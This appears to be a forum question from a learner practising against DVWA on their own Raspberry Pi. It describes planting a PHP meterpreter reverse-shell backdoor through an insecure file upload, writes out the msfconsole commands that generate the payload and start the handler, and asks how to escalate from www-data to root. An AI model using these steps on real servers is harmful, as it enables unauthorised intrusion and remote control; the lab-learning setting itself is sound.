I am messing around with Kali Linux, MSFConsole and DVWA (Damn Vulnerable Web Application).
I have successfully been able to get into the system (Raspberry Pi) by creating a PHP backdoor and uploaded it via SQL injection.
Now I have access the system, the only issue is I am running as www-data (wouldn't it be nice to become root to create your own super user account?!) Is it possible to somehow privilege escalate in Linux (Raspbaian) by using MSFConsole, BASH (from the backdoor) or another way?
I have tried to run "use priv" in the meterpreter prompt but the error I get is 'Failed to load extension: No module of the name ext_server_priv.php found'. If it helps I am running the reverse_tcp exploit as a PHP script.
I was able to compromise the system by running this is Msfconsole
use php/meterpreter/reverse_tcp set LHOST <my IP> generate -t raw -f hackme.php use exploit/multi/handler set PAYLOAD php/meterpreter/reverse_tcp set LHOST <my IP> exploit
I then uploaded hackme.php to the web server via the insecure file upload, after I done that I then browsed to the uploaded file.
Credit goes to this video for giving me the above code. (I had to use the generate function instead of msfpayload because that functionality has been moved due to it being deprecated.)